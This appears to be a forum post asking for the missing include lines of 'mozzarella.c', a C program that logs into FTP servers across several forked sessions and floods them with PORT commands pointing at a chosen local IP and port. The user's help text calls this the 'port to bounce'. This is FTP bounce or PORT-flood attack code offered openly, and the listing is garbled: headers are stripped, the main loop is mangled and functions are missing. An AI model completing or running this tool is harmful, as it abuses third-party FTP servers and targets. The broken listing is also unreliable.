Please, what are here the 11 include files (found over the internet)?
*/mozzarella.c /*
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define ONESEC 1000000 /* usecs
*/
#define ANONPWD "(e-mail address removed)"
unsigned long int
resolv(char *host)
{
unsigned long int ip;
struct hostent *he;
ip = inet_addr(host);
if(ip != -1)
return ip;
he = gethostbyname(host);
if(he != NULL) {
memcpy(&ip, he->h_addr, sizeof(unsigned long int));
return ip;
}
fprintf(stderr, "Cannot resolve %s\n", host);
perror("gethostbyname");
}
int /* -1: EOF, 0: not endline, 1: endline */
ftp_readline(char *buf, int maxsz)
{
int islast = 0;
if(!fgets(buf, maxsz, stdin))
return -1;
if(buf[3] == ' ')
islast = 1;
while(!strchr(buf, '\n'))
if(!fgets(buf, maxsz, stdin))
return islast;
return islast;
}
int
ftp_connect(char *host, int port)
{
int s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
struct sockaddr_in sin;
if(s<0)
{
perror("socket");
return -1;
}
sin.sin_family = AF_INET;
sin.sin_port = htons(port);
sin.sin_addr.s_addr = resolv(host);
if(sin.sin_addr.s_addr == -1) {
close(s);
return -1;
}
if(connect(s, (struct sockaddr *)&sin, sizeof(sin))<0)
{
perror("connect");
close(s);
return -1;
}
return s;
}
int
ftp_status(char *s)
{
char p[5];
memcpy(p, s, 4);
p[4] = 0;
return atoi(p);
}
int
ftp_login(char *u, char *p)
{
char buf[4096];
int r;
while(!(r = ftp_readline(buf,sizeof(buf))))
;
if(r < 0)
{
fprintf(stderr, "Error reading from socket..\n");
return -1;
}
printf("USER %s\r\n", u); fflush(stdout);
if((r = ftp_readline(buf, sizeof(buf)))<0) {
fprintf(stderr, "Error reading from socket..\n");
return -1;
}
if(ftp_status(buf) == 230)
return 0;
if(ftp_status(buf) != 331) {
fprintf(stderr, "Error logging in : %s\n", buf);
return -1;
}
if(!r) {
while(!(r = ftp_readline(buf, sizeof(buf))))
;
if(r < 0)
fprintf(stderr, "Error reading from socket...:%s\n",
buf);
return -1;
}
printf("PASS %s\r\n", p); fflush(stdout);
if((r = ftp_readline(buf, sizeof(buf)))<0) {
fprintf(stderr, "Error reading from socket..\n");
return -1;
}
if(ftp_status(buf) == 230) {
if(!r)
while(!(r = ftp_readline(buf, sizeof(buf))))
;
return 0;
}
fprintf(stderr, "Error loggin in: %s\n", buf);
return -1;
}
void
splitip(char *host, int *v)
{
struct in_addr tmp;
char *stmp, *q;
tmp.s_addr = resolv(host);
stmp = strdup(inet_ntoa(tmp));
q = strtok(host, "."); v[0] = atoi(q);
q = strtok(NULL, "."); v[1] = atoi(q);
q = strtok(NULL, "."); v[2] = atoi(q);
q = strtok(NULL, "."); v[3] = atoi(q);
free(stmp);
}
int
ftp_port(int ip[4], int port)
{
char dummy[1024];
int i;
printf("SYST\r\n");
printf("PORT %u,%u,%u,%u,%u,%u\r\n",
ip[0], ip[1], ip[2], ip[3], (port >> 8)&0xFF, port & 0xFF);
#ifdef VERBOSE
fprintf(stderr, "PORT %u,%u,%u,%u,%u,%u\r\n",
ip[0], ip[1], ip[2], ip[3], (port >> 8)&0xFF, port & 0xFF);
#endif
fflush(stdout);
if(ftp_readline(dummy, sizeof(dummy))<0)
return -1;
else return 0;
};
int
create_instances(int num, char *host, int fport,
char *u, char *p, int *lip, int port, int pps)
{
int masterpid = getpid(), new;
while(num)
{
new = fork();
if(new == 0)
return childmain(host,fport,u,p,lip,port);
usleep(ONESEC/3);
num--;
}
}
int
main(int argc,char **argv)
{
int c;
int port = -1,anonymous=0, ftpport=21,instances=3,hostnum=0,
pps = 4;
char *host[256], *pass=NULL, *local=NULL, *user = NULL, *s;
int local_ip[4];
while((c = getopt(argc, argv, "i:hu
:aH
:L:S:r:"))!=EOF)
switch(c)
{
case 'r':
pps = atoi(optarg);
break;
case 'i':
instances = atoi(optarg);
break;
case 'u':
user = optarg;
break;
case 'p':
pass = optarg;
break;
case 'H':
if(hostnum==256) {
printf("No more space\n");
break;
}
host[hostnum++] = optarg;
break;
case 'a':
anonymous = 1; break;
case 'P':
port = atoi(optarg); break;
case 'L':
local = optarg; break;
case 'h':
default:
printf("Usage: %s [-h][-u username -p password][-a][-H
host][-P port_to_open][-L localhost]\n", argv[0]);
printf("\t-h this help\n");
printf("\t-u username for ftp\n");
printf("\t-p password for ftp\n");
printf("\t-H ftp host\n");
printf("\t-L your local ip\n");
printf("\t-P the port to bounce\n");
printf("\t-a use anonymous ftp\n");
printf("\t-r number of PORT commands to send for each s
erver any second\n");
printf("\t-i number of session for ftp\n");
printf("You can specify MORE -H switches.\n");
exit(1);
break;
}
if(!anonymous && (!user||!pass))
{
printf("User and/or password missing AND anonymous mode not spe
cified\n");
exit(1);
}
if(!host || port <0)
{
printf("FTP host or port not specified\n");
exit(1);
}
splitip(local, local_ip);
if(anonymous) {
user = "anonymous";
pass = ANONPWD;
}
for(c = 0; c< 0) {
c = ftp_connect(host, ftpport);
sleep(1);
}
fprintf(stderr, "+ Connected...\n");
dup2(c, 0);
dup2(c, 1);
if((a = ftp_login(user, pass))<0 && !d) {
shutdown(c, 2);
close (c);
exit(1);
} else while(a<0) {
a = ftp_login(user, pass);
sleep(1);
}
fprintf(stderr, "+ Logged in...\n");
d++;
while(1)
{
//fprintf(stderr, "+ Sending...\n");
usleep(ONESEC/pps);
if(ftp_port(local_ip, port)<0) {
shutdown(c, 2);
close(c);
break;
}
}
}
}
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